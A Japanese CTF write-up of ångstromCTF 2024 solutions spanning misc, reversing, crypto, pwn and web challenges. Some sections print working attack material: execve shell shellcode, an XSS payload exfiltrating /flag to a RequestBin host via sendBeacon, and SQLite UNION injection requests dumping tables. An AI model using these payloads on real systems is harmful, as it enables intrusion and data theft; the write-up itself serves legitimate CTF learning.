ångstromCTF 2024 Writeup

この大会は2024/5/25 9:00(JST)~2024/5/28 9:00(JST)に開催されました。
今回もチームで参戦。結果は790点で831チーム中153位でした。
自分で解けた問題をWriteupとして書いておきます。

kcehC ytinaS (MISC 10)

Discordに入り、#rolesチャネルでflagのリアクションをすると、たくさんのチャネルが現れた。
#miscチャネルのトピックに以下にようにフラグが逆順で書いてある。

}egassem_terces_ym_edoced_uoy_did_woh{ftca
$ echo }egassem_terces_ym_edoced_uoy_did_woh{ftca | rev
actf{how_did_you_decode_my_secret_message}
actf{how_did_you_decode_my_secret_message}

Putnam (MISC 10)

計算問題が出題されるので、答えるだけ。

$ nc challs.actf.co 31337
514 + 97 = ?
611
You succeeded! The flag is actf{just_a_tad_easier_than_the_actual_putnam} :D
actf{just_a_tad_easier_than_the_actual_putnam}

trip (MISC 30)

$ exiftool trip.jpeg 
ExifTool Version Number         : 12.57
File Name                       : trip.jpeg
Directory                       : .
File Size                       : 1906 kB
File Modification Date/Time     : 2024:05:25 09:11:42+09:00
File Access Date/Time           : 2024:05:25 10:46:39+09:00
File Inode Change Date/Time     : 2024:05:25 10:46:10+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
Camera Model Name               : iPhone 15 Pro
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 17.4.1
Modify Date                     : 2024:04:18 05:54:34
Host Computer                   : iPhone 15 Pro
Exposure Time                   : 1/33
F Number                        : 1.8
Exposure Program                : Program AE
ISO                             : 1000
Exif Version                    : 0232
        :
        :
GPS Altitude                    : 1 m Above Sea Level
GPS Date/Time                   : 2024:04:18 09:54:33.79Z
GPS Latitude                    : 37 deg 56' 23.60" N
GPS Longitude                   : 75 deg 26' 17.11" W
Circle Of Confusion             : 0.008 mm
Field Of View                   : 73.7 deg
Focal Length                    : 6.8 mm (35 mm equivalent: 24.0 mm)
GPS Position                    : 37 deg 56' 23.60" N, 75 deg 26' 17.11" W
Hyperfocal Distance             : 3.04 m
Light Value                     : 3.4
Lens ID                         : iPhone 15 Pro back triple camera 6.765mm f/1.78

以下の通り緯度・経度がわかるので、Google Mapで調べる。

37°56'23.60"N 75°26'17.11"W

Chincoteague Rd であることがわかる。

actf{chincoteague}

aw man (MISC 50)

パスフレーズなしでsteghideで秘密情報を抽出してみる。

$ steghide extract -sf mann.jpg                      
Enter passphrase: 
wrote extracted data to "enc.txt".
$ cat enc.txt
5RRjnsi3Hb3yT3jWgFRcPWUg5gYXe81WPeX3vmXS

base58と推測し、https://www.dcode.fr/base-58-cipherで復号する。

actf{crazy?_i_was_crazy_once}

do you wanna build a snowman (MISC 50)

ほぼJPG形式のデータだが、先頭1バイトが間違っている。"\xfd"を"\xff"に修正すると、画像にフラグが書いてあった。

actf{built_the_snowman}

exam (PWN 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_e8 [64];
  char local_a8 [152];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  printf("How much should I not trust you? >:)\n: ");
  __isoc99_scanf(&DAT_001020e0,&detrust);
  fgets(local_a8,0x96,stdin);
  if (detrust < 0) {
    puts("Don\'t try to trick me into trusting you >:(");
  }
  else {
    trust_level = trust_level - detrust;
    if (trust_level == threshold) {
      puts("What kind of cheating are you doing?");
      puts("You haven\'t even signed your statement yet!");
      puts("You are BANNED from all future AP exams!!!");
    }
    else {
      while (trust_level < threshold) {
        puts("\nI don\'t trust you enough >:)");
        printf(
              "Prove your trustworthyness by reciting the statement on the front cover of the Sectio n I booklet >:)\n: "
              );
        fgets(local_a8,0x96,stdin);
        iVar1 = strcmp(local_a8,
                       "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.\n"
                      );
        if (iVar1 == 0) {
          trust_level = trust_level + -1;
        }
      }
      __stream = fopen("flag.txt","r");
      fgets(local_e8,0x40,__stream);
      puts("\nYou will now take the multiple-choice portion of the exam.");
      puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
      printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n",
             local_e8);
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

                             trust_level                                     XREF[7]:     Entry Point(*), main:001012ba(R), 
                                                                                          main:001012ca(W), 
                                                                                          main:001012d0(R), 
                                                                                          main:0010135f(R), 
                                                                                          main:00101368(W), 
                                                                                          main:0010136e(R)  
        0010403c 00 00 00 00     undefined4 00000000h

                             threshold                                       XREF[3]:     Entry Point(*), main:001012d6(R), 
                                                                                          main:00101374(R)  
        00104010 fe ff ff 7f     undefined4 7FFFFFFEh

trust_levelが0x7fffffffになればよい。

>>> 0x7fffffff
2147483647

以下のように指定すれば、最終的にtrust_levelが0x7fffffffになる。

・最初にdetrustに2147483647を指定する。
・3回"I confirm that I am taking this exam ..."を入力する。
#!/usr/bin/env python3
from pwn import *

p = remote('challs.actf.co', 31322)

detrust = 2**31 - 1
data = p.recvuntil(b': ').decode()
print(data + str(detrust))
p.sendline(str(detrust).encode())

phrase = 'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.\n'

for i in range(3):
    data = p.recvuntil(b': ').decode()
    print(data + phrase)
    p.sendline(str(phrase).encode())

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31322: Done
How much should I not trust you? >:)
: 2147483647

I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


You will now take the multiple-choice portion of the exam.
You should have in front of you the multiple-choice booklet and your answer sheet.
You will have actf{manifesting_those_fives} minutes for this section. Open your Section I booklet and begin.
[*] Closed connection to challs.actf.co port 31322
actf{manifesting_those_fives}

presidential (PWN 100)

シェルコードを送り込み、/bin/shを実行できる。
以下のページのシェルコードを使う。

https://www.exploit-db.com/exploits/46907
$ nc challs.actf.co 31200
White House declared Python to be memory safe :tm:
So enter whatever you want &#128077; (in hex): 4831f65648bf2f62696e2f2f736857545f6a3b58990f05
ls
run
cat run
#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "actf{python_is_memory_safe_4a105261}"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want &#128077; (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye") 13 00:00 var
actf{python_is_memory_safe_4a105261}

Guess the Flag (REV 20)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  byte *pbVar3;
  long in_FS_OFFSET;
  byte local_68 [72];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Go ahead, guess the flag: ");
  fgets((char *)local_68,0x3f,stdin);
  pbVar3 = local_68;
  while( true ) {
    sVar2 = strlen((char *)local_68);
    if (sVar2 <= (ulong)((long)pbVar3 - (long)local_68)) break;
    *pbVar3 = *pbVar3 ^ 1;
    pbVar3 = pbVar3 + 1;
  }
  iVar1 = strcmp((char *)local_68,secretcode);
  if (iVar1 == 0) {
    puts("Correct! It was kinda obvious tbh.");
  }
  else {
    puts("Wrong. Not sure why you\'d think it\'d be that.");
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             secretcode                                      XREF[2]:     Entry Point(*), main:00101146(*)  
        00104020 60 62 75        undefine
                 67 7a 62 
                 6e 6c 6c 
           00104020 60              undefined160h                     [0]                               XREF[2]:     Entry Point(*), main:00101146(*)  
           00104021 62              undefined162h                     [1]
           00104022 75              undefined175h                     [2]
           00104023 67              undefined167h                     [3]
           00104024 7a              undefined17Ah                     [4]
           00104025 62              undefined162h                     [5]
           00104026 6e              undefined16Eh                     [6]
           00104027 6c              undefined16Ch                     [7]
           00104028 6c              undefined16Ch                     [8]
           00104029 68              undefined168h                     [9]
           0010402a 75              undefined175h                     [10]
           0010402b 75              undefined175h                     [11]
           0010402c 64              undefined164h                     [12]
           0010402d 65              undefined165h                     [13]
           0010402e 5e              undefined15Eh                     [14]
           0010402f 75              undefined175h                     [15]
           00104030 6e              undefined16Eh                     [16]
           00104031 5e              undefined15Eh                     [17]
           00104032 75              undefined175h                     [18]
           00104033 69              undefined169h                     [19]
           00104034 64              undefined164h                     [20]
           00104035 5e              undefined15Eh                     [21]
           00104036 6d              undefined16Dh                     [22]
           00104037 64              undefined164h                     [23]
           00104038 60              undefined160h                     [24]
           00104039 72              undefined172h                     [25]
           0010403a 75              undefined175h                     [26]
           0010403b 5e              undefined15Eh                     [27]
           0010403c 72              undefined172h                     [28]
           0010403d 68              undefined168h                     [29]
           0010403e 66              undefined166h                     [30]
           0010403f 6f              undefined16Fh                     [31]
           00104040 68              undefined168h                     [32]
           00104041 67              undefined167h                     [33]
           00104042 68              undefined168h                     [34]
           00104043 62              undefined162h                     [35]
           00104044 60              undefined160h                     [36]
           00104045 6f              undefined16Fh                     [37]
           00104046 75              undefined175h                     [38]
           00104047 5e              undefined15Eh                     [39]
           00104048 63              undefined163h                     [40]
           00104049 68              undefined168h                     [41]
           0010404a 75              undefined175h                     [42]
           0010404b 7c              undefined17Ch                     [43]
           0010404c 00              undefined100h                     [44]

1とXORしてsecretcodeになるものを算出すればよい。

#!/usr/bin/env python3

with open('guess_the_flag', 'rb') as f:
    enc = f.read()[0x3020:0x304c]

flag = ''
for c in enc:
    flag += chr(c ^ 1)
print(flag)
actf{committed_to_the_least_significant_bit}

switcher (REV 50)

Ghidraでデコンパイルする。

undefined8 FUN_001010a0(void)

{
  long lVar1;
  
  printf(&UNK_00139035);
  fflush(stdout);
  fgets(0x193060,0x100,stdin);
  lVar1 = strcspn(0x193060,&UNK_00139018);
  *(undefined *)(lVar1 + 0x193060) = 0;
  FUN_00105540(0x193060);
  puts(&UNK_0013901a);
  return 1;
}

void FUN_00105540(char *param_1)

{
  if (*param_1 != 'j') {
    return;
  }
  FUN_00105520(param_1 + 1);
  return;
}

void FUN_00105520(char *param_1)

{
  if (*param_1 != 'u') {
    return;
  }
  FUN_00105500(param_1 + 1);
  return;
}
        :

順に関数を追い、条件の文字を並べていく。

jumping_my_way_to_the_flag_one_by_one
actf{jumping_my_way_to_the_flag_one_by_one}

spinner (WEB 50)

HTMLソースを見ると、以下のスクリプトが書いてある。

    const message = async () => {
        if (state.flagged) return
        const element = document.querySelector('.message')
        element.textContent = Math.floor(state.total / 360)

        if (state.total >= 10_000 * 360) {
            state.flagged = true
            const response = await fetch('/falg', { method: 'POST' })
            element.textContent = await response.text()
        }
    }

/falgにPOSTメソッドでアクセスしてみる。

$ curl https://spinner.web.actf.co/falg -X POST               
actf{b152d497db04fcb1fdf6f3bb64522d5e}
actf{b152d497db04fcb1fdf6f3bb64522d5e}

markdown (WEB 80)

<img src=x onerror=alert(document.domain)>を入力したら、ドメインがポップアップされた。XSSの問題と推測できる。
以下を入力し、アクセスしたら/flagのデータをRequestBinのサイトに転送するようにする。

<img src=x onerror='fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("https://<RequestBinドメイン>/flag", z))'>

生成された以下のURLにボットからアクセスする。

https://markdown.web.actf.co/view/aab29810a089b94f

RequestBinにアクセスが来ているので、データを見るとフラグがあった。

actf{b534186fa8b28780b1fcd1e95e2a2e2c}

store (WEB 100)

SQLインジェクションができそうだが、scriptにより使用できる文字に制限がある。curlでアクセスして制限をすり抜けられるか見てみる。

$ curl https://store.web.actf.co/search -d "item=' or 1=1 --"

    <link rel="stylesheet" href="/style.css">
    <div class="container">
        <h1>The Ãrmstrong Storefront Inventory</h1>
        <form action="/search" method="POST">
            <input
                type="text"
                name="item"
                placeholder="Otamatone, Echo dot, Razer Cynosa Chroma..."
            >
            <input type="submit" value="Search">
        </form>
        <script>
            const form = document.querySelector('form')
            form.addEventListener('submit', (event) => {
                const item = form.querySelector('input[name="item"]').value
                const allowed = new Set(
                    'abcdefghijklmnop' +
                    'qrstuvwxyzABCDEF' +
                    'GHIJKLMNOPQRSTUV' +
                    'WXYZ0123456789, '
                )
                if (item.split('').some((char) => !allowed.has(char))) {
                    alert('Invalid characters in search query.')
                    event.preventDefault()
                }
            })
        </script>
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>Otamatone</td>
                        <td>A extremely serious synthesizer. Comes in a variety of colors.</td>
                    </tr>
                
                    <tr>
                        <td>Echo dot</td>
                        <td>A smart speaker that can play music, make calls, and answer questions.</td>
                    </tr>
                
                    <tr>
                        <td>Razer Cynosa Chroma</td>
                        <td>A gaming keyboard with customizable RGB lighting.</td>
                    </tr>
                
            </table>
        
    </div>

どうやらすり抜けられそう。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', 'C' --"

                :

            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                
            </table>
        
    </div>

データベースを調べる。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', sqlite_version() --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>3.45.3</td>
                    </tr>
                
            </table>
        
    </div>

SQLiteであることがわかった。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', name, sql from sqlite_master where type = 'table' --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>flagsb408b65ed60a259eb6a452bed919a39d</td>
                        <td>CREATE TABLE flagsb408b65ed60a259eb6a452bed919a39d ( flag TEXT)</td>
                    </tr>
                
                    <tr>
                        <td>items</td>
                        <td>CREATE TABLE items (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT,
        detail TEXT
    )</td>
                    </tr>
                
                    <tr>
                        <td>sqlite_sequence</td>
                        <td>CREATE TABLE sqlite_sequence(name,seq)</td>
                    </tr>
                
            </table>
        
    </div>

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', flag from flagsb408b65ed60a259eb6a452bed919a39d --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>actf{37619bbd0b81c257b70013fa1572f4ed}</td>
                    </tr>
                
            </table>
        
    </div>
actf{37619bbd0b81c257b70013fa1572f4ed}

erm what the enigma (CRYPTO 20)

エニグマ暗号。https://cryptii.com/pipes/enigma-machineで復号する。

actf{i_love_enigmatic_machines_mwah}

PHIlosophy (CRYPTO 40)

RSA暗号。n, e, cの他に以下で定義されたphiがわかっている。

phi = (p + 1) * (q + 1)

p + q は以下で計算できる。

p + q = p * q - n + p + q + 1 - 1
      = (p + 1) * (q + 1) - n - 1
      = phi - n - 1

本来のphiは以下のように計算できる。

real_phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
         = n - (phi - n - 1) + 1 = n * 2 - phi + 2

あとは通常通り復号することができる。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e = 65537
c = 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
phi = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308

real_phi = n * 2 - phi + 2
d = inverse(e, real_phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
actf{its_okay_i_figured_out_phi_anyway}

layers (CRYPTO 50)

サーバの処理概要は以下の通り。

・phrase: フラグ
・choice: 入力
・choiceが"1"の場合
 ・message: 入力
 ・encrypted = encrypt(phrase, message)
 ・encryptedを16進数表記で表示
・choiceが"2"の場合
 ・message: 入力→hexデコード
 ・encrypted = encrypt(phrase, message)
 ・encryptedを16進数表記で表示
・choiceが"3"の場合
 ・encrypt(phrase, phrase.encode())を16進数表記で表示

encrypt関数はkeyをハッシュを使って1000回XORをしているが、XORの鍵がどの平文でも同じため、フラグと同じ長さの平文と暗号文から鍵を割り出すことができる。あとはその鍵でフラグを復号すればよい。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31398))

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)

s.close()

pt = 'a' * len(enc_flag)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31398))

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = bytes.fromhex(data)

s.close()

flag = strxor(strxor(pt.encode(), ct), enc_flag).decode()
print(flag)

実行結果は以下の通り。

Welcome to my encryption service!
Surely encrypting multiple times will make it more secure.
1. Encrypt message.
2. Encrypt (hex) message.
3. See encrypted flag!
Pick 1, 2, or 3 > 3
fb7fdbf9e714a08ce9cdf109bb527acba27accfeff16fcdcb1cdf358bb557898aa2d9da9af5c
Welcome to my encryption service!
Surely encrypting multiple times will make it more secure.
1. Encrypt message.
2. Encrypt (hex) message.
3. See encrypted flag!
Pick 1, 2, or 3 > 1
Your message > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
fb7dcefefd40f8dee99ba05ce9507a9ffb7dcefefd40f8dee99ba05ce9507a9ffb7dcefefd40
actf{593a7043ca58fcac7ec972e3dcf01263}
actf{593a7043ca58fcac7ec972e3dcf01263}

random rabin (CRYPTO 80)

サーバの処理概要は以下の通り。

・以下64回繰り返し
 ・success = game()
  ・pk, sk = keygen()
   ・p: 512ビット素数、4で割ると余り3
   ・q: 512ビット素数、4で割ると余り3
   ・n = p * q
   ・n, (n, p, q)を返却
  ・pkを表示
  ・secret: ランダム16バイト文字列
  ・m: secretの数値化
  ・decrypt(sk, encrypt(pk, m))を表示
  ・guess: 入力→hexデコード
  ・guessとsecretが一致していたらTrueを返却、一致していなければFalseを返却
 ・successがFalseの場合、終了
・フラグを表示

secretは128ビットなので、2乗してもnを超えることはない。つまり、decrypt(sk, encrypt(pk, m))の値を2乗してnで割った余りの平方根を取れば、secretになる。

#!/usr/bin/env python3
import socket
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31300))

for _ in range(64):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    n = int(data.split(' ')[-1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    m = int(data.split(' ')[-1])
    c = pow(m, 2, n)
    m, success = gmpy2.iroot(c, 2)
    assert success
    guess = long_to_bytes(m).hex()
    data = recvuntil(s, b': ')
    print(data + guess)
    s.sendall(guess.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Round 1
pubkey: 65640817302278544617584921034009253776338898787643315721697995432587666221203453100090811799200041487797682139548343893034329122358804607492323946863739552978168309551208592211487690446961311846287905400729834257424116433958725697576190301572717559964970092670821458741132503164276671274903205385742274854277
plaintext: 65640817302278544617584921034009253776338898787643315721697995432587666221203453100090811799200041487797682139548343893034329122358804607492323946863739552978168309551208592211487690446961311846287905400729834257424116433958725697576190301572717559964970092670821458741086742385715630945016320035746335028604
gimme the secret: 226d34933040cbe0e6175a31e99b0809
Round 2
pubkey: 151353116603253487015928012756270641382785978852781180142696174273267174852596597279937972805455848289300889890963155389201359538768100217716137338804532964528233069325540950384128458327364190494902443528785644357341132352075851969162369473922511493251975441491262608872450594907684347711901119274672058097217
plaintext: 151353116603253487015928012756270641382785978852781180142696174273267174852596597279937972805455848289300889890963155389201359538768100217716137338804532964528233069325540950384128458327364190494902443528785644357341132352075851969162369473922511493251975441491262608872169236039229848845324196052214396629678
gimme the secret: d3abbf3a935b1b80cf94869669d32b93
Round 3
pubkey: 94715846319244401828832261461221078823185634941129704536318212927684315234465864814676895561277097930989101376836363098010858156565501829742884169268143525945712553815046469508383913970978041596236144041298978109900870580651476135834719586202752521694743345455116929876553330636998049333901497800921917176993
plaintext: 52570874094447232096065694751801211789048525336191026035598405822957101214151497517048906380524128094920129357334478508217514436271920423889342985121260637490817966832188338899239910688716924747708863074238035421559540545817534363555185948071566843976236204579742139216843084111830709016853578206738814565153
gimme the secret: 93bf96bf17d2a587dc1f9929df8e2cd2
        :
        :
Round 61
pubkey: 91753152672491444711986149193958444346073801430608438712987809916743539557647859810858481167984601838610808614884997234602729314556772332911445112968152740373330603705215927345517896982240468809446352907050596526514843362427736396711278189709720879738260599292354489361664554919852259925807223337591218432389
plaintext: 34683182651340948984446495247442060764
gimme the secret: 1a17bcedcbe8bfa835b0772af68f25dc
Round 62
pubkey: 124605692571593853854551971539353910189107235568011266186981507520510726647391034283359185478133301188298611155211242849757081847423198305799599032840989725412252581956064682174549900407502667102930234995327013189461811416414420958578728173374577260942076363792144539797760163012671171558470314438457477143829
plaintext: 23486043354717999615480035322722323261440622185396551115910484236230876665542749737369534481795324001000180842535503543664724917376379655994634183936305374833956235013558855305740383887378930837340548060966195619676962810678883643121172941611099318144128053221168127146077723155018295706790205227896802430240
gimme the secret: 81a1daa49218d549207b8e246901c5f5
Round 63
pubkey: 137676847909121467711994690328330511334023933317513775934994254024263738970419339950446728232983625633054272235061339814913204828009140948270964842516373451642969301230962351916868458195573462302000328405016537520396501123548763785006752925037488035844859202697290385955266229538997785658249963633295951358773
plaintext: 159776935317828183337471825608080756007
gimme the secret: 7833eb1d408e99264fba4da5489a0d27
Round 64
pubkey: 87469935789602122365376829699388395717193253949479167965482178115437676058428669843222171723936706428519026776168371251906062607931403480759042384240568190914532352657129387788396063916990641045089455088313852226722897713318670768847900342899238222132886844022800786542407139175947106946265399088889657912697
plaintext: 9618134946819454115547809043605594438844646179149769811797126037818623585150421789617678769573290547774997301042885041191527832104181599643939503386198314284989597703868922914553097891602946729889378356614857600936821625494861246325498053946477930930087027854717922864501824618372851230411968333313262681172
gimme the secret: a2ca2699f5fe29a2cef387059d63e98b
actf{f4ncy_squ4re_r00ts_53a370c33f192973}
actf{f4ncy_squ4re_r00ts_53a370c33f192973}